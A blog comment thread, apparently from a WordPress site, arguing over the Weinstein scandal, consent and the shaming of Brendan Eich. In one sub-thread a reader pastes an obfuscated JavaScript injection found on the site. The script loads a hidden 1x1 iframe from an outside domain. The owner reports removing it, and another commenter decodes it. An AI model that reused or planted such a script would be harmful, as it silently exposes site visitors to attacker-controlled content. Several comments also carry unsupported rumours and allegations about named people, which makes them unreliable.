            • >What qualifies as “force”?

              Thread’s going to totally rathole if I get into that. I know how enough about how your mind works to expect that if you think it’s force, it probably is.

  32. [popping this out because the WordPress format has gotten ludicrous]

    I wrote: What would be a good way to address deals that appear, as Jade says, “para-coercive”?

    Eric wrote: By naming and shaming people who propose them.

    That’s all well and good when the deal is credible, and everyone agrees on what’s shameful. What should happen when either condition doesn’t hold? (For the first, I say it’s fair to assume that most of these deals are made where there’s plausible deniability. For the second, case in point: shaming Brendan Eich for having donated to an anti-SSM cause.)

    • >What should happen when either condition doesn’t hold?

      If there isn’t broad consensus on what’s shameful, shaming shouldn’t work.

      The point is that name-and-shame is a historically normal and frequently effective response to behavior that is not quite criminal but which violates broadly held norms of right conduct.

      • I agree in principle – but why did the name-and-shame of Eich work? My perception is that it worked largely because a loud rage-mob assented, while the dissenting voices weren’t heard, or were shamed and hooted down by the same rage-mob.

        That seems like a failure mode of this kind of communal norm-enforcement, which I’d otherwise say is a very effective mechanism and far preferable to broadening criminal statutes to cover such things. (I’d still say that it’s preferable to broadening criminal laws, even with the howling-rage-mob failure mode, but then, an anti-authoritarian would say that, ne?)

        What I wonder is if there’s an effective way to fight the rage-mobs using a similar mechanism. Something akin to the reputation networks posited in the Eldraeverse, maybe, but with China’s horrid social credit score concept as a very good reason why not…

        • Another explanation might be the rage-mob was an excuse for people who wanted to do this thing anyway but also wanted to look like the decision was out of their hands. Selectively paying attention to friendly mobs.

        • The “name and shame” on Eich worked because the ridiculous level of risk in having a fundamentalist Xtian Conservative in charge of a major part of our Open Source communications infrastructure was far too high for any alternative to make sense.

          If you want to understand why this was a major issue, Google the term “Steeplejacking” and apply it to the Mozilla Foundation. (Also, Javascript makes me want to gouge out my eyes.)

          I don’t want to rathole the thread, but that’s why, while I generally agree with Eric on ousting people over speech issues, I felt Eich needed to go. The risk was far too high.

          • >fundamentalist Xtian Conservative in charge of a major part of our Open Source communications infrastructure

            Huh? I see no reason in any public information about Eich to describe him this way. If he ever waved any religious extremism around at Mozilla or anywhere else I’d damn well have heard about it.

            I think this is just poverty of imagination, a rumor started by someone who couldn’t conceive of anyone having any non-religious reason to support Prop 8.

            Javascript makes me want to gouge out my eyes, too, but it was no warrant for him to be rage-mobbed.

            • This is why I encourage you to research “Steeplejacking.” This practice involves putting “sleeper” fundamentalists into a more liberal church, with the idea that they will help topple the current church power structure and bring in a more conservative preacher. You’ll also see the fundies using similar tactics on school boards.

              • What possible consequences could a successful “steeplejacking” have had that were worse than what actually happened? As it is, even die-hard, copyright-is-a-monopoly-and-therefore-bad evangelical FOSS enthusiasts will no longer use or recommend Firefox, and will go to extra lengths to avoid touching it. Those are the ones that will now use Chromium. Any other evangelical geek will now use and push Chrome proper, at best, when even many Windows-using evangelical geeks would have recommended Firefox previously. And Mozilla has now made known to evangelicals that it is their sworn enemy, so if there is any truth to steeplejacking allegations, it is more likely to be attempted now than it was before. The whole incident has also left a bad taste in the mouths of anybody in the FOSS community that is areligious but right of center, meaning that it has done considerable damage to the brand of what used to be a critical piece of FOSS communication infrastructure.

          • Google tells me that a steeplejack is a person who climbs high buildings such as steeples to perform repair and maintenance.

            Somewhere further down the results is a definition that’s basically “Entryism, when my personal religious enemies do it”, which I presume is what you mean.

            But I still don’t understand why this was a major issue. What evidence is there that Eich was doing any such thing?

            • >What evidence is there that Eich was doing any such thing?

              None at all. I’ve never even heard a hint of a whisper of anything like this.

              • If Eich were planning to steeplejack Mozilla,* and if he did it correctly, you would not have known until he appointed several fundamentalists to the board and began making “Christ Centered” changes to Mozilla products and services. The whole point is that the would-be steeplejacker conceals his/her intentions, and possibly conceals his/her real religious beliefs until s/he has sufficient power to impose changes.

                * I don’t want to libel Mr. Eich, so I’ll note that steeplejacking Mozilla was a reasonable concern given the evidence of his anti-homosexual behavior, but not necessarily a reality.

                • evidence of his anti-homosexual behavior

                  So a political donation supporting the idea that “marriage” should mean one man and one woman counts as “anti-homosexual behavior”…?

                  • Whether it’s anti-Gay depends on which side of the fence you’re on. If you’re LGBT or have an LGBT family member, it’s definitely anti-Gay.

                    And remember that he gave ONE THOUSAND DOLLARS. That’s a huge sum and the amount really makes a statement. If he’d given 20 or 100 because someone at his church pressured him, that would be another matter, but a thousand dollars kinda screams “I really fucking hate those goddamn queers!”

                    • No, it says “I’m concerned that if gay marriage becomes legal, my pastor may be coerced by the law into performing gay marriages.”

                    • Except that everyone knows the First Amendment protects against your pastor being forced to perform Gay marriages. This is pretty basic, and anyone who spreads this crap is either pig-ignorant or has an agenda.

                    • Except that everyone knows that the First Amendment protects against your pastor being forced to perform Gay marriages.

                      Everyone used to know that the First Amendment meant that you couldn’t force Catholics to pay for your birth control, or a baker to make a same-sex wedding cake.

                    • Heck, everybody used to know that there is absolutely no way to construe a right to homosexual marriage from the Constitution. (I’ll grant that evangelicals have not been the greatest at being originalists on the issue DOMA violated the Constitution as flagrantly as Obergefell does).

  33. @Jade Nekotenshi I agree in principle – but why did the name-and-shame of Eich work? My perception is that it worked largely because a loud rage-mob assented, while the dissenting voices weren’t heard, or were shamed and hooted down by the same rage-mob.

    It worked because name-and-shame is community-centric, and the community this was done in was one that would accept the shamer’s assertions as valid and act on them.

    I never heard any commentary about why Eich donated to an anti-SSM cause. At a guess, the motives were based in religion and Eich is a believer. I’m quite certain Eich never behaved in a discriminatory manner to Mozilla employees he managed because they were gay (and assume that given a neutral distribution of employees, at least some of the folks Eich managed were openly gay.) His concern as manager was the output and quality of the work they were paid to do, and who they had sex with and what sort it was happened outside the workplace and was irrelevant.

    Mozilla as an entity trumpets its commitment to diversity and will view with horror things perceived to be against that. Mozilla firing Eich shortly after he had been named next Mozilla CEO was disgusting but not really a surprise. I lost most of my respect for Mozilla Foundation Chairwoman Mitchell Baker. She should have bluntly stated that Eich’s donation was made as an individual, not as a Mozilla executive, and Mozilla supported the rights of its staffers to hold their own beliefs.

    The problem with name-and-shame is that it is community-centric. It works best in a homogeneous society where all agree on what proper behavior is, and becomes increasingly problematic as the society is more heterogeneous. Behavior one segment might scream about may be considered right and proper by another. (Indeed, that’s arguably a microcosm of current politics.)

    >Dennis

  34. There is a distinguishability issue here. There are a number of situations, both in setting law (statutory rape, for example) and in cultural mores (including the topic of discussion here, sex for favors) where we have a set of behaviors that range from objectionable (and worthy of legal sanction or public shaming) to morally questionable to morally OK, but where the information available to outsiders makes it difficult to impossible for society (or the legal system) to distinguish between the acceptable and objectionable cases. If the objectionable cases are sufficiently bad then there is a fairly strong argument that everything in the set of cases that can be defined by some externally measurable criteria should be subject to legal or social sanction, even though this means that some actions that are morally acceptable end up subjection to sanction.

  35. I do believe our Russky malware woes are not yet over.

    For some reason, every time I visit this page, it (after a brief delay) scrolls to the bottom. (This is quite annoying when I’m trying to read the comments.) Often, I also get alert boxes and notification requests from random (mostly Russian) websites.

    Here is what I believe to be the offending code:

    <script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('6 8=5.c("d")[0];6 1=5.b("e");1.9.3="a";1.2("3","4");1.2("m","o");1.2("f","7");1.2("l","7");1.2("n","4");1.2("k","//j.g/h");8.i(1);',25,25,'|fr|setAttribute|border|no|document|var|1px|bd|style|0px|createElement|getElementsByTagName|body|iframe|width|info|358kqm|appendChild|pokemgo|src|height|id|frameBorder|frrm'.split('|'),0,{}))</script>

    It’s heavily obfuscated, which leads me to suspect that it isn’t meant to be here.

    • What are you using as your browser? I do not see this behavior. When I visit, I am not taken to the end of the comments.

      (I’m running Firefox ESR, with the uBlock Origin extension to control what gets sourced by sites I visit.)

    • >Here is what I believe to be the offending code:

      Found and removed. It was a widget inserted in my #3 footer area. Looks like the same obfuscated Javacript that the runetski.sexy spammers were using. Same attack, too. They apparently can’t screw with my database but can inject widgets into my PHP.

      The bad news is that this happened after I switched to new, strong passwords. I think this means that my previous theory was wrong – they didn’t dictionary-crack my passwords, rather there is a security hole in the WordPress engine. Ugh.

      • While in general maintenance mode, would it be possible to increase the number of comments in the RSS feed? With the threaded layout, it can be difficult to keep track of conversations when there’s a lot of activity.

        • >While in general maintenance mode, would it be possible to increase the number of comments in the RSS feed?

          Thee might be a knob for this in the WP code somewhere, but I don’t know where.

    • If I eyeball how that code should run, I end up with the following code grafted onto the page somewhere:

      var bd=document.getElementsByTagName(“body”)[0];
      var fr=document.createElement(“iframe”);
      fr.style.border=”0px”;
      fr.setAttribute(“border”,”no”);
      fr.setAttribute(“id”,”frrm”);
      fr.setAttribute(“width”,”1px”);
      fr.setAttribute(“height”,”1px”);
      fr.setAttribute(“frameBorder”,”no”);
      fr.setAttribute(“src”,”//p o k e m g o.i n f o/3 5 8 k q m”);
      bd.appendChild(fr);

      …so, yeah, that’s fishy.

      (I deliberately added spaces to that URL above in hopes of defeating casual searches for that string. I have no idea what that ‘frrm’ is supposed to be, but it’s awfully close to rot2 for ‘http’.)

  36. Eric, the Vegas shooting occurred on October 1st and Weinstein scandal erupted on October 5th. The latter is now overwhelming the news cycle, and in effect deflecting reporting on the former. I’m not conspiratorial by nature, but that strikes me as being more than a little coincidental. Have you heard anything new that you can report on the Vegas story?

    • >Have you heard anything new that you can report on the Vegas story?

      Nothing new. My source continues to think the story will break pretty soon.

      Some press accounts have mentioned that Paddock had multiple phones. It is also quite public now that he set up multiple webcams, including one or more covering the hallway approaching the room.

      Oh, there is one thing I guess. A person who was present for my last conversation with him brought up reports of multiple shooters. My source dumped all over that; he explained how it’s easy for a single shooter with multiple prepared weapons to look like more than one gunman.

  37. Weinstein’s behavior was so ordinary in Hollywood that it’s a stereotype. And he’s been accused before, and sued, and there have been minor and ignored news reports. It’s not like anyone in Hollywood didn’t know.

    The question that comes to my mind is, “why all the sudden outrage *now*, vs. five, ten, or even twenty years ago? Business as usual, then BOOM!

    So, what enemy did he make, who could boot the complicit media from “sweep it under the rug” to “jihad”?

    • Some see the hand of Trump and/or Bannon behind the scenes. Both know Hollywood and have connections there. Trump certainly benefits from chaos among big Democratic Party contributors and propagandists, and for feminist/SJW ire to be aimed in that direction. Trump is also a fan of Sun Tzu….

      • That seems highly unlikely to me. The NYT story broke the dam, and it’s pretty clear that he doesn’t have any fans there, to say the least.

        • I agree the Times would not knowingly and directly do Trump’s bidding, but there might be indirect ways he or Bannon could have helped get this rolling. In any case, despite some similar accusations against him, all this helps him.

    • Critical failure. This dam has been leaking for several years now. (See: Corey Feldman, Elijah Wood.) This whole situation is only going to get much, much worse.

      Not that I think Trump is directly responsible, but all of the moral outrage Hollywood has been shining his direction is now starting to reflect back on them. Apparently some celebrities don’t have unlimited room for hypocrisy.

  38. @TRX: So, what enemy did he make, who could boot the complicit media from “sweep it under the rug” to “jihad”?

    No need to postulate an enemy. Society at large has moved in the direction of that sort of behavior being unacceptable. What used to be expected and mostly ignored is no longer.

    Weinstein is simply an alpha male CEO who couldn’t keep his dick in his pants and fell from grace because of it. Because he was a Hollywood CEO, there’s a greater scandal factor, but the underlying dynamics are the same.

    “Sex addiction” is a possibe diagnosis for Weinstein’s activities, but even if not, he still had visible problems, and his brother and the rest of the board arguably should have pushed him hard to seek therapy years ago. They tolerated it instead, and the results could just sink the company. (A Wall Street Journal report mentions one major supplier to the company now demanding payment up front instead of billing for services, so somebody is afraid the Weinstein Company could go under.)

    >Dennis

    • ” Society at large has moved in the direction of that sort of behavior being unacceptable.”

      I think this is spot on. Go down history, and you see time again that “blame the victim” and simple denial shifts to “blame the attacker”. We have seen this in rape and child abuse. We still see it in workplace harassment and (black) people being abused and shot by LEO.

      In every case, the stunning part is not the depravity of the perpetrator, despicable people are of all times, but the code of silence of the people around them. The Catholic church helping child abusers flee their accusers, families protecting members that abuse children, communities defending rapists against their victims, colleagues covering for abusive LEOs. And now, the company and colleagues of Weinstein, who did know what was going on but helped him covering up.

      What changes is indeed that society moves towards being less tolerant to abuses of power. At least, that is how it seems to move. But there is also an undercurrent that admires power, believes might is right, and wants victims to shut up.

    • I think the issue may go something like this: Starlet involuntarily sleeps with Weinstein. Starlet gets role in picture. Starlet does well and is promoted to Star. Star makes sure her friends and family understand that Weinstein is scum and drops occasional hints to reporters.

      Repeat this cycle over the course of a 40-50 year career. Now Weinstein has a lot of enemies. Eventually, they outnumber and overpower him to the point that media outlets must give weight to their stories and ignore his excuses.

      The reversal looks like it has taken place in an instant, but in fact it has been building for decades.

  39. Eric: let’s translate this into circumstances that might apply to you.

    You are 20 years old, and you want to join a major software project. You believe you have a great deal to contribute, and that if you do, you will be successful and acclaimed in the field. But you have no record of achievement.

    There is a gatekeeper clique, who can admit you to the project, and also have the power to exclude from this and any similar project. (Which may be implausible, as there is no scarcity of opportunity in software, but bear with me.) The price of admission is that you must do work under their names, as they demand, letting them take the credit (and thus cementing their controlling positions), and praising them fulsomely for their brilliant work. (Praising them, not the work.)

    And I disagree that a woman “dressed to the nines” is necessarily flaunting sexual availability or prowess. She is showing off her appearance, which is what such an actress sells to the audience that she never meets.

    I’d also note that Weinstein violated his fiduciary duty to the other investors in his company, or to his employers. He was paid to make casting decisions based on who would give the best performance and sell the most tickets, not who would have sex with him.

  40. And in Today’s Wall Street Journal, an unknown source close to the Weinstein Co. has stated it may be sold or shut down. The previously announced plans to rebrand under a new name have been shelved, and directors have reportedly been approached by potential buyers. Meanwile, four of the Weinstein Co. directors have quit in the past week. Bob Weinstein, who remains company Co-CEO, released a statement saying it was untrue the company or board is exploring a sale or shutdown.

    There’s blood in the water and the sharks are circling.

    >Dennis

  41. Pingback: Labyrinthine Linkfarm - American Digest

  42. “Maybe the something she wants is a relationship, maybe it’s sex, maybe it’s money, and maybe it’s screen time in a mogul’s next movie. Is that, of itself, anyone else’s business? Who are we who deny her agency?”

    The main part of the story is about women that were tricked into a situation where they were at a severe disadvantage. And Weinstein was doling out jobs with was, essentially, not his money. He was using money from investors to make a film, and was extracting personal benefits from his job that were not known to the investors, I assume. So, instead of hiring the best actress for the job, he hired the actress that would go with his other wishes. At least, that is what he let these actresses believe.

    So, at least he was corrupt, and this was not (always) a rational choice for the actresses to make.

    In total, this was very much “might is right” for Weinstein.

  43. The concept of people in a gatekeeper position in some industry demanding favors (sexual or otherwise) from those seeking advancement seems like an instance of “rent seeking” behavior on the part of those gatekeepers, where in these cases the “rent” is of a non-monetary nature.

  44. A large power differential can partially or totally invalidate consent. Libertarians struggle with this one, I’ve noticed; without even getting into the sexual aspect, libertarians, and the U.S. Supreme Court, think it’s totally acceptable for monopolies or oligopolies to impose onerous contracts on their customers under the rubric that “the customer can always refuse the onerous bit”. And the company can refuse to provide you service, too. You need a cellphone more than Verizon needs your business, and that’s just how Verizon (and AT&T, and SprinT-Mobile) like it. What’s that? Just use a landline? Well, sure, except Verizon isn’t actively maintaining its landlines anymore in certain areas (though they will happily charge you a monthly fee for absolutely nothing in return).

    (As a sop to those of us who object to “The customer (hereafter ‘You’) waives all right to participate in a class action against Company and NOT have your PII leaked to Company’s partners and any Russian hackers who have breached Company’s partners’ servers” type terms, some companies have offered opt-out clauses. But you must submit them, in writing, within 30 days, using a specially prepared form that’s only available in a locked filing cabinet in a basement behind a sign that says “Beware of the leopard”. Meanwhile, the EU approach has been to have the government step in and forbid this sort of thing. Winter is probably saying/thinking “This kind of thing goes on in a country that calls itself civilized?” He’s from the Netherlands and so knows no other universe but a relatively sane one.)

    My point is that in the USA, you cannot refuse the onerous bits of a cellphone contract and still get a cellphone, which is pretty fucking essential. Therefore, from a practical standpoint, you are signing your cellphone contract under duress.

    Now, to the casting couch issue. A young actress (or actor, more on that later) who refuses the casting-couch proposal not only risks not getting a particular part, but not being able to function as an actress at all. She may have vicious rumors spread about her by studio execs. Her personal and professional reputation may be at stake, and if so, if she accepts the proposal she cannot be considered to have given informed consent and the sexual activity that follows must be considered rape. Far from denying the actress’s agency, we are decrying the fact that her agency has been taken from her.

    This story is interesting to me for another reason: It so happens that I’m a Corey Haim fan. If you aren’t one, I urge you to watch his movies and especially his legendary video Corey Haim: Me, Myself, and I in which the drug-addled Haimster attempts to reassure his fans that he’s totally okay by participating in staged sporting events and leisure activities, and chances are good you will become a Haim fan too. A few years back, starting shortly after Haim’s tragic death, the other Corey — Corey Feldman — started making noise about there being a paedophile ring among Hollywood execs that both he and Haim were repeated victims of, and kept quiet about under pain of having their careers and potentially their reputations ruined. Which casts a whole new, dark, depressing undertone on why Corey Haim struggled with drugs for all his adult and much of his youngster life.

    In light of the Weinstein revelations, I think — or at least hope — that more light will be shed on this issue of alleged paedophilia and the people responsible will be prosecuted and have their names tarnished forever and ever.

    The step from “I have to be sexy to a million men” to “I have sex with this mogul” is not really very large.

    This is arrant nonsense. There is a vast gulf between putting on a sexual display for a general audience and engaging in actual sexual activity with a particular person or people. In fact the women making the sexiest displays are likely to be more picky about whom they actually allow to touch them. (Sexuality is a status display among women, and not to be wasted on low-ranking men.) If you do not understand this distinction, quite frankly you are a creep and it’s a very courageous woman indeed who allows you anywhere near her.

    • >This is arrant nonsense.

      Yeah, you’ve never actually known a Hollywood actress personally, I see. I have. The personality type…well, these aren’t necessarily bad women in a moralist’s sense but the relationship between their display behaviors and their sexuality is closer than you understand (and this applies to male actors too).

      There are reasons Weinstein got away with his shit for so long that have nothing to do with the power dynamics.

      • > well, these aren’t necessarily bad women in a moralist’s sense

        So basically you’re saying:

    • @Jeff Read
      “Winter is probably saying/thinking “This kind of thing goes on in a country that calls itself civilized?” He’s from the Netherlands and so knows no other universe but a relatively sane one.”

      Yep. In the EU, this is called “Consumer Protection”. This type of thinking lead to imposing the GSM cell phone standard which resulted in real competition in phone services.

      I think the main problem with Libertarian thinking is that they assume that Free Markets are the natural norm and it takes “Government” to distort them. In reality, free markets follow the Matthew Principle and are highly unstable. Historically, Free Markets always required enforcement and protection by the “Government”.

      • I don’t know of any libertarian who thinks “that Free Markets are the natural norm”.

        It is possible for a government to protect people from theft/robbery without itself becoming a robber, and to avoid using its power to grant special privileges to certain businesses. But historically, most governments have failed to meet that standard. It’s just assumed that there will be monopolies enforced by the state, and the only question is who gets to enjoy the benefits of the cozy relationship.

        Once the power to mete out justice has been enshrined in a government, that power naturally attracts people who want to abuse it to dispense “social justice” (which is antithetical to justice, caring not a whit about actual evidence of guilt, substituting instead a hierarchy of Victim/Oppressor group memberships, awarding benefits and punishments accordingly), making markets rather unfree. It takes a great effort to build a culture capable of restraining the natural tendencies of government, which effort must be maintained from generation to generation. When cultural institutions have been actively turned against that effort, the beast is unleashed.

        The main problem with statist thinking is that they assume that things like “Consumer Protection” provided by government are benevolent, and will never be abused by the industry incumbents to keep out competition, and thereby favor those incumbents, or to stifle innovation that represents the biggest protection of all.

    • A few years back, starting shortly after Haim’s tragic death, the other Corey — Corey Feldman — started making noise about there being a paedophile ring among Hollywood execs that both he and Haim were repeated victims of, and kept quiet about under pain of having their careers and potentially their reputations ruined.

      Here’s a YouTube video which appears to be the interview in question.

      I wasn’t (originally) aware of this accusation, but I did remember Elijah Woods’ similar claims when I first heard this scandal starting up. To be honest, the first thought which followed was, “I wonder how deep down this bottomless rabbit hole the press and police are actually willing to delve”….

  45. I present the following headline (no link necessary IMHO) without unnecessary comment: “Maybe Woody Allen Should Shut The Hell Up About Harvey Weinstein.”

    And no, I didn’t read the article, why would I?

    • Pardon my ignorance of pop culture, but other than throwing Mia Farrow over for an adopted child (who was, if I recall, over 21 when it happened).

      He’s been married to her ever since, no?

      • He’s widely thought to have molested his adopted daughter, Dylan Farrow, when she was 7 years old.

        And yes, the Soon-Yi thing is pretty sketch, too. She was 17 or 18 when the affair actually started, and it’s quasi-incestuous to boot.

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